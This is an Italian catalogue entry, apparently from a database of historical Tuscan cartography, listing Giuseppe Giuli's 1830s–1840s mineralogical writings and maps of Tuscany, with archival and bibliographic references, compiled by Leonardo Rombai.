Progetto d’una carta geognostica ed orictonostica della Toscana per servire alla tecnologia, o al modo di rendere utili i minerali del Granducato alle arti, ed alle manifatture, Siena, Onorato Porri, 1835;
Saggio statistico di mineralogia utile della Toscana per servire agli ingegneri, ai possidenti, ai medici, agli artisti e manifattori ed ai commercianti, Bologna, Nuovi Annali delle Scienze Naturali di Bologna, 1843.

Produzione di cartografia manoscritta:
Carta geografica di mineralogia utile della Toscana, Siena, Bindi, Cresti e Compagni, 1843 (e Gran carta geografica mineralogica della Toscana del Cav. Giuseppe Giuli, 1840-43, in otto pezzi, ASF, Piante del Ministero delle Finanze, nn. 178-185).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Francovich e Rombai, 1990, p. 699: Rombai e Vivoli, 1996, p. 161; Vitali, 1996, p. 312; ASF, Piante del Ministero delle Finanze

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai